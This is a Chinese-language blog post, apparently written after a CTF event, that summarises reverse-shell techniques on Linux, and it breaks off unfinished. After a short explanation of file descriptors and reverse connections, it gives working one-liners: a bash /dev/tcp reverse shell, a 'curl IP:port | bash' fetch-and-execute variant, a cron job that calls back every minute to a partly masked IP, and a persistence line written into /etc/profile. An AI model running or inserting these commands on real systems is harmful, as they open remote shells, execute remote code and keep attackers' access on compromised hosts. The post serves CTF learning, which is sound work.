反弹shell技法总结
0x00 前言
这几天做ImaginaryCTF
,正好用到了反弹shell,介于对该技法的掌握并不深刻,便写下这篇博客,冀以理解原理,拓展思维。
0x01 基础
文件描述符
- 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
- 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
- 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出
正向连接
假设攻击者有A服务器,攻占了受害者的B服务器。那么攻击者让A服务器去连接B服务器,即A->B,称之为正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。
反向连接
并不是所有情况都允许正向连接,那么什么情况下需要进行反向连接,也就是反弹sell呢?
- 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
- 目标机端口被占用。
- 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
- ……
举一个最简单的情况,如果你能在在前端执行系统命令,但是服务端却没有回显,那么我们是不是希望输出流不要通过服务端,而是流向我们的服务器,这就是反弹sell
的作用:
反弹shell改变了输入流和输出流,使getshell更加地灵活!
反弹shell
的方法有很多,下面简单介绍几种。
0x02 利用Bash反弹shell
基础反弹
这个方法非常简单普适,具体命令如下:
1 | bash -i >& /dev/tcp/IP/port 0>&1 |
如果当前shell
环境不是bash
,可以先构造bash
环境:
1 | bash -c "bash -i >& /dev/tcp/IP/port 0>&1" |
对bash反弹一句话进行拆分说明:
命令 | 命令解释 |
---|---|
bash -i |
产生一个bash交互环境 |
> & |
将标准输出和标准错误输出重定向到同一个位置 |
/dev/tcp/IP/port |
Linux万物皆文件,这段命令的意思是让目标主机与攻击机建立一个tcp 连接。 |
0>&1 |
将标准输入重定向到标准输出的位置 |
总结一下:
在bash交互环境下,把目标主机的输出流重定向到攻击机,再把输入流重定向到输出流的地址,也就是重定向到攻击机。
curl反弹
比基础反弹的payload简单一点,但是需要对攻击机有一点要求。
攻击机
开一个端口,写下index.html
(或index.php
),内容:
1 | bash -i >& /dev/tcp/IP/port 0>&1 |
靶机
指令:
1 | curl IP:port | bash |
这里为什么要加bash
呢:
Bash 是一种 Unix shell 和命令语言解释器。它会执行接收到的输入内容。
curl
后会得到一个字符串:bash -i >& /dev/tcp/IP/port 0>&1
,bash
接收curl的结果也就是该字符串,并执行。
小结
万变不离其宗。本质上,只要让靶机执行一个指令(反弹shell一句话)即可。那么怎么让靶机执行这个指令,就有很多种方法。可以直接执行,也可以读取字符串再执行等等。
再深入一点,看问题需要看到本质!上面那段话,就是我们抓住了本质,才有那么多方法。如果只是想着在前端直接执行,那么很多方法是想不到的,同时很多题也是做不了的。
定时反弹
简单来说,就是将反弹shell一句话写入定时任务文件。
要知道该文件的位置,必须先知道目标主机当前的用户名。如果当前用户名是Pax
,对于不同的操作系统该文件路径如下:
- centos: /var/spool/cron/Pax
- Debian/Ubuntu:/var/spool/cron/crontabs/Pax
在该文件写入以下内容:
1 | */1 * * * * /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1 |
*/1 * * * *
: 这是cron的时间格式,表示每分钟执行一次任务。格式为分钟 小时 日期 月份 星期
。
写入/etc/profile
/etc/profile
是一个在Linux
系统中用于设置系统范围内环境变量和启动脚本的配置文件。它通常在每个用户登录时由系统读取和执行。
将反弹shell一句话写入/etc/profile
文件中,/etc/profile
中的内容会在用户打开bash
窗口时执行。
1 | /bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 & |
当有用户连接该主机时,就会自动执行该命令,成功获得目标机的shell。
小结
如果你能看到这里,那我愿意说出自己的感悟。
本节采用的反弹技术,无一例外都是希望目标主机可以执行反弹shell一句话。再深入一点,每个方法都是希望目标主机可以执行指令。目标主机可以执行指令的点有很多,哪怕不能执行本机文件,我们还能构造异地文件让目标主机读取。
本节方法的本质就是让目标文件执行指令。看到本质,困难就迎刃而解。
0x03 未完成
剩下的有空再写,好累的说······